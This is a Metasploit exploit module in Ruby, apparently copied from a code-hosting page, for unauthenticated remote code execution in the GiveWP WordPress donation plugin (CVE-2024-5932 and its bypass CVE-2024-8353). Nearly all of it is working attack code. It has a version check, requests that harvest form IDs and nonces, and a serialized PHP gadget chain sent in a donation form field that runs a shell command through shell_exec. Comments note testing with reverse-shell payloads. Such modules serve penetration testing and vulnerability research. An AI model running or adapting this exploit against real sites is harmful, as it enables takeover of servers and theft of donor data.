198 lines
7.0 KiB
Ruby
198 lines
7.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::HTTP::Wordpress
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'GiveWP Unauthenticated Donation Process Exploit',
|
|
'Description' => %q{
|
|
The GiveWP Donation Plugin and Fundraising Platform for WordPress, in all versions up to and including 3.16.1,
|
|
is vulnerable to a PHP Object Injection (POI) attack that allows unauthenticated arbitrary code execution.
|
|
Although a patch was introduced in version 3.14.2, it was incorrect and can be bypassed.
|
|
This means the vulnerability remains exploitable in subsequent versions due to the ineffective patch.
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Villu Orav', # Initial Discovery
|
|
'EQSTLab', # Proof of Concept
|
|
'cuokon', # Bypass (CVE-2024-8353)
|
|
'Julien Ahrens', # Vulnerability Analysis
|
|
'Valentin Lobstein' # Metasploit Module
|
|
],
|
|
'References' => [
|
|
['CVE', '2024-5932'],
|
|
['URL', 'https://github.com/EQSTLab/CVE-2024-5932'],
|
|
['URL', 'https://www.rcesecurity.com/2024/08/wordpress-givewp-pop-to-rce-cve-2024-5932'],
|
|
['URL', 'https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin'],
|
|
|
|
['CVE', '2024-8353'],
|
|
['URL', 'https://github.com/EQSTLab/CVE-2024-8353'],
|
|
['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/give/givewp-donation-plugin-and-fundraising-platform-3161-unauthenticated-php-object-injection']
|
|
],
|
|
'DisclosureDate' => '2024-08-25',
|
|
'Platform' => %w[unix linux win],
|
|
'Arch' => [ARCH_CMD],
|
|
'Privileged' => false,
|
|
'Targets' => [
|
|
[
|
|
'Unix/Linux Command Shell',
|
|
{
|
|
'Platform' => %w[unix linux],
|
|
'Arch' => ARCH_CMD
|
|
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
|
|
}
|
|
],
|
|
[
|
|
'Windows Command Shell',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_CMD
|
|
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
def check
|
|
return CheckCode::Unknown unless wordpress_and_online?
|
|
|
|
print_status("WordPress Version: #{wordpress_version}") if wordpress_version
|
|
|
|
detected_version = check_plugin_version_from_readme('give')&.details&.dig(:version)
|
|
|
|
if detected_version.nil?
|
|
print_warning('Unable to determine the GiveWP plugin version.')
|
|
return CheckCode::Unknown
|
|
end
|
|
|
|
detected_version = Rex::Version.new(detected_version)
|
|
print_good("Detected GiveWP Plugin version: #{detected_version}")
|
|
|
|
if detected_version < Rex::Version.new('3.14.2')
|
|
print_good('Vulnerable to both CVE-2024-5932 and CVE-2024-8353 (bypass).')
|
|
return CheckCode::Appears
|
|
end
|
|
|
|
if detected_version < Rex::Version.new('3.16.2')
|
|
print_good('Vulnerable to CVE-2024-8353 (bypass).')
|
|
return CheckCode::Appears
|
|
end
|
|
|
|
print_status("GiveWP Plugin version #{detected_version} is not vulnerable.")
|
|
CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
forms = fetch_form_list
|
|
fail_with(Failure::UnexpectedReply, 'No forms found.') if forms.empty?
|
|
|
|
selected_form = forms.sample
|
|
valid_form = retrieve_and_analyze_form(selected_form['id'])
|
|
|
|
return print_error('Failed to retrieve a valid form for exploitation.') unless valid_form
|
|
|
|
print_status("Using Form ID: #{valid_form['give_form_id']} for exploitation.")
|
|
send_exploit_request(
|
|
valid_form['give_form_id'],
|
|
valid_form['give_form_hash'],
|
|
valid_form['give_price_id'],
|
|
valid_form['give_amount']
|
|
)
|
|
end
|
|
|
|
def fetch_form_list
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
|
|
'data' => 'action=give_form_search'
|
|
)
|
|
|
|
return print_error('Failed to retrieve form list.') unless res&.code == 200
|
|
|
|
forms = JSON.parse(res.body)
|
|
form_ids = forms.map { |form| form['id'] }.sort
|
|
|
|
print_good("Successfully retrieved form list. Available Form IDs: #{form_ids.join(', ')}")
|
|
forms
|
|
end
|
|
|
|
def retrieve_and_analyze_form(form_id)
|
|
form_res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
|
|
'vars_post' => { 'action' => 'give_donation_form_nonce', 'give_form_id' => form_id }
|
|
)
|
|
|
|
return unless form_res&.code == 200
|
|
|
|
form_data = JSON.parse(form_res.body)
|
|
give_form_id = form_id
|
|
give_form_hash = form_data['data']
|
|
give_price_id = '0'
|
|
give_amount = '10'
|
|
# Somehow, can't randomize give_price_id and give_amount otherwise the exploit won't work.
|
|
|
|
return unless give_form_hash
|
|
|
|
{
|
|
'give_form_id' => give_form_id,
|
|
'give_form_hash' => give_form_hash,
|
|
'give_price_id' => give_price_id,
|
|
'give_amount' => give_amount
|
|
}
|
|
end
|
|
|
|
def send_exploit_request(give_form_id, give_form_hash, give_price_id, give_amount)
|
|
final_payload = format(
|
|
'\\O:19:"Stripe\\\\\\\\StripeObject":1:{s:10:"\\0*\\0_values";a:1:{s:3:"foo";' \
|
|
'O:62:"Give\\\\\\\\PaymentGateways\\\\\\\\DataTransferObjects\\\\\\\\GiveInsertPaymentData":1:{' \
|
|
's:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\\0*\\0container";' \
|
|
'O:33:"Give\\\\\\\\Vendors\\\\\\\\Faker\\\\\\\\ValidGenerator":3:{s:12:"\\0*\\0validator";' \
|
|
's:10:"shell_exec";s:12:"\\0*\\0generator";' \
|
|
'O:34:"Give\\\\\\\\Onboarding\\\\\\\\SettingsRepository":1:{' \
|
|
's:11:"\\0*\\0settings";a:1:{s:8:"address1";s:%<length>d:"%<encoded>s";}}' \
|
|
's:13:"\\0*\\0maxRetries";i:10;}}}}}}',
|
|
length: payload.encoded.length,
|
|
encoded: payload.encoded
|
|
)
|
|
|
|
data = {
|
|
'give-form-id' => give_form_id,
|
|
'give-form-hash' => give_form_hash,
|
|
'give-price-id' => give_price_id,
|
|
'give-amount' => give_amount,
|
|
'give_first' => Faker::Name.first_name,
|
|
'give_last' => Faker::Name.last_name,
|
|
'give_email' => Faker::Internet.email,
|
|
'give_title' => final_payload,
|
|
'give-gateway' => 'offline',
|
|
'action' => 'give_process_donation'
|
|
}
|
|
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
|
|
'data' => URI.encode_www_form(data)
|
|
}, 0)
|
|
end
|
|
end
|